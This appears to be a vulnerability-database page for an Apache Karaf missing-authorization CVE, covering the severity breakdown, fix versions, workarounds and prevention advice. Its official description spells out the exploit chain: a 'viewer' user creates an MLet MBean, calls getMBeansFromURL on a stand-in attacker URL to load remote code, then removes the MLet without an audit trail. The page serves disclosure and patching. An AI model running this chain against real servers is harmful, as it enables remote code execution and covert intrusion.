Apache Karaf: Missing Authorization
CVE-2026-92142 is a high-severity missing authorization vulnerability in Apache Karaf from Apache, with a CVSS 3.1 base score of 8.8 out of 10. It can be exploited remotely over the network by an attacker with a low-privileged account, without any action from a user. The record lists version 4.4.12 as the first without the flaw, so updating Apache Karaf to that release or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 0.6% chance of exploitation within 30 days, which is low compared with other CVEs.
High severity with no evidence of exploitation so far.
What to do
- Update Apache Karaf to 4.4.12 or a later version.
- Update Karaf to 4.4.12 or a later version.
- Read the advisory on karaf.apache.org for workarounds and exact fixed builds.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Apache | Apache Karaf | before 4.4.12 | 4.4.12 |
| Apache | Karaf | before 4.4.12 | 4.4.12 |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- NetworkCan be exploited remotely over a network, including the internet.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- LowA basic user account is enough.
- User interaction
- NoneNo action by a victim is required.
- Scope
- UnchangedImpact stays within the vulnerable component.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- HighThe component can be taken down completely.
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. Scored by CISA (ADP).
Official description
Apache Karaf exposes a JMX MBeanServer guarded by KarafMBeanServerGuard, which enforces role-based access control (RBAC) on MBean operations invoked over the remote JMX connector (RMI registry/server, enabled by default on ports 1099 and 44444). The guard is implemented as a java.lang.reflect.Proxy around the MBeanServer, and only forwards a fixed list of operation names to the RBAC check, defined in MBeanInvocationHandler#guarded: private final List<String> guarded = Collections.unmodifiableList( Arrays.asList("invoke", "getAttribute", "getAttributes", "setAttribute", "setAttributes")); The MBean lifecycle operations MBeanServer#createMBean, #registerMBean and #unregisterMBean are not in this list. Calls to these methods are forwarded directly to the underlying MBeanServer with no role check at all, regardless of the roles configured in etc/jmx.acl.*.cfg. As a result, any user who can authenticate to the JMX endpoint, including a user holding only the least-privileged "viewer" role, can call createMBean() to instantiate an arbitrary class as a MBean, and unregisterMBean() to remove it again afterwards, with no authorization check and no audit log entry (logging in KarafMBeanServerGuard only occurs on the RBAC-denial path, which this bypass never reaches). This is significant because javax.management.loading.MLet, a standard JDK MBean, can be instantiated this way. MLet acts as a remote classloader: its getMBeansFromURL(URL) operation fetches an MLet text file from an attacker-controlled URL and instantiates and registers the classes it lists as new MBeans in the target JVM. Reaching this operation still goes through KarafMBeanServerGuard's existing "invoke" check, but the default etc/jmx.acl.cfg grants the "viewer" role to any method name matching the wildcard rule "get* = viewer", a heuristic intended for read-only getters. Because "getMBeansFromURL" happens to start with "get", it also matches that rule, so a default installation grants "viewer" callers permission to invoke it without any Karaf-specific ACL naming MLet at all. Combined with the createMBean gap, this gives a "viewer"-role JMX client a path to remote code execution to the Karaf JVM: * Authenticate to JMX as any user with any role (e.g. "viewer"). * mbs.createMBean("javax.management.loading.MLet", objectName) is not in GUARDED_OPERATIONS, no RBAC check, MLet is instantiated and registered. * mbs.invoke(objectName, "getMBeansFromURL", new Object[]{"http://attacker/mlet.txt"}, ...) is guarded, but the method name matches the default "get* = viewer" ACL rule, so permitted. * The remote .mlet file is fetched and its listed classes are loaded and registered as new MBeans, running attacker-supplied code in the Karaf JVM. * mbs.unregisterMBean(objectName) can be used to remove the MLet afterwards, also not in GUARDED_OPERATIONS, no RBAC check, no audit trail. The fix adds createMBean, registerMBean and unregisterMBean to the guarded operation list, resolves required roles for them from the jmx.acl* configuration by ObjectName and (for createMBean/registerMBean) MBean class name, and ships default etc/jmx.acl.cfg entries restricting all three operations to the "admin" role. This allows deployments to also write class-name-specific rule, e.g.: createMBean(java.lang.String)[/javax\.management\.loading\..*/] = admin Apache Karaf users should upgrade to 4.4.12 or 4.5.0 or later, once released, as soon as possible. Until an upgrade is available, restrict network access to the JMX RMI registry/server ports (1099/44444) to trusted hosts, or avoid issuing any non-"admin" JMX credentiels.
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How developers prevent this class of flaw
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework and the OWASP ESAPI Access Control feature.
Timeline
- CVE record published.
- CISA published its SSVC assessment (exploitation: none, automatable: no, technical impact: total).
- Record last changed materially (score, affected products, status or references).
References
Advisories
- karaf.apache.org/security/cve-2026-92142.txtMailing List
Third-party and government advisories
- openwall.com/lists/oss-security/2026/09/28/11Mailing List, Third Party Advisory
Other vulnerabilities in Apache Karaf
- 9.8 Critical severity
- 9.8 Critical severity
- 8.8 High severity
- 7.3 High severity
- 7.5 High severity
- 9.8 Critical severity
Recent Missing Authorization vulnerabilities
- 8.1 High severity
- 8.4 High severity
- 8.4 High severity
- 9.1 Critical severity
- 8.1 High severity
- 8.8 High severity
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